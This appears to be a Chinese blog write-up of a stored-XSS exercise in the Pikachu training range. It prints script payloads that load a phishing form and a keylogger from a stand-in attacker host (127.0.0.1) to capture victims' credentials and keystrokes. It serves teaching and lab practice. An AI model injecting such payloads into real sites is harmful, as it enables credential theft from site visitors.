Pikachu靶场:存储型XSS

Pikachu靶场:存储型XSS

实验环境以及工具

Firefox浏览器、Burp Suite、Pikachu靶场

实验原理

●存储型
交互的数据会被存在在数据库里面,永久性存储,一般出现在留言板,注册等页面。

形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称“永久型”XSS

跨站脚本漏洞测试流程

1.在目标站点上找到输入点,比如查询接口,留言板等;

2.输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理;

3.通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);

4.提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞;

具体操作

1.在目标站点上找到输入点,比如查询接口,留言板等;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2AeidcrO-1618563042187)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210407160042501.png)]

2.输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NxiQJjbW-1618563042189)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210407160827856.png)]

3.通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GSDJkFDA-1618563042190)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210407160915713.png)]

可见我们输入的字符串直接嵌入到了p标签中,已知我们是可以在p标签里写js代码的,所以我们可以尝试写入一段特制的js代码。

4.提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞;

在输入框中输入 <script>alert('qwer')<script>试图弹出一个框,内容为qwer

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jLrLMh2T-1618563042193)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210407161052619.png)]

发现成功弹出,并且每次刷新都会弹出,说明js代码被存储到了数据库中,每次访问这个页面都会执行一遍。

漏洞利用

钓鱼

将本地XSS后台相关代码配置好,Pikachu的后台位于\pkxss

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lTQArsbO-1618563042194)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210407161456946.png)]

如果输入的JS代码为下面这段,其中127.0.0.1是本地地址,这里用本地换回地址模拟攻击者的IP地址。

<script src="http://127.0.0.1/Pikachu/pkxss/xfish/fish.php"></script>

在点击submit后会将这段恶意代码存储到数据库中,每次都会执行这段恶意代码。即每次刷新都会弹出一个框让受害者输入用户名密码。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mbKrnX8j-1618563042195)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210407161953846.png)]

这里有个巨坑,由于这里用的phpstudy搭建的环境,会发现一直提交授权,一直输入密码都不会将数据写入数据库。这个坑后来找到了原因:PHP 的 HTTP 认证机制仅在 PHP 以 Apache 模块方式运行时才有效,因此该功能不适用于 CGI 版本,我这里使用的是phpStudy搭建的环境,默认是以CGI版本运行PHP。后续通过重新搭建环境解决此问题。

这里使用作弊方法,直接将账号密码写入

<script src="http://127.0.0.1/Pikachu/pkxss/xfish/xfish.php?username=admin&password=987654321"></script>

在XSS后台可以看到钓鱼结果。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-26uYxkoo-1618563042196)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210407213514623.png)]

键盘记录

将恶意的js文件配置好

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SMiMmzGX-1618563042197)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210416163423639.png)]

编写payload将其注入到输入框中。

<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BPjwMxTa-1618563042197)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210416164118634.png)]

在xss后台中发现键盘记录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oz4eJP3Y-1618563042198)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210416164136143.png)]

总结

存储型XSS同样是利用输入接口进行攻击,但是由于输入的js代码被存储到了数据库中,那么就具有了持久性。每次用户访问这个页面都会触发恶意代码。

  • 4
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值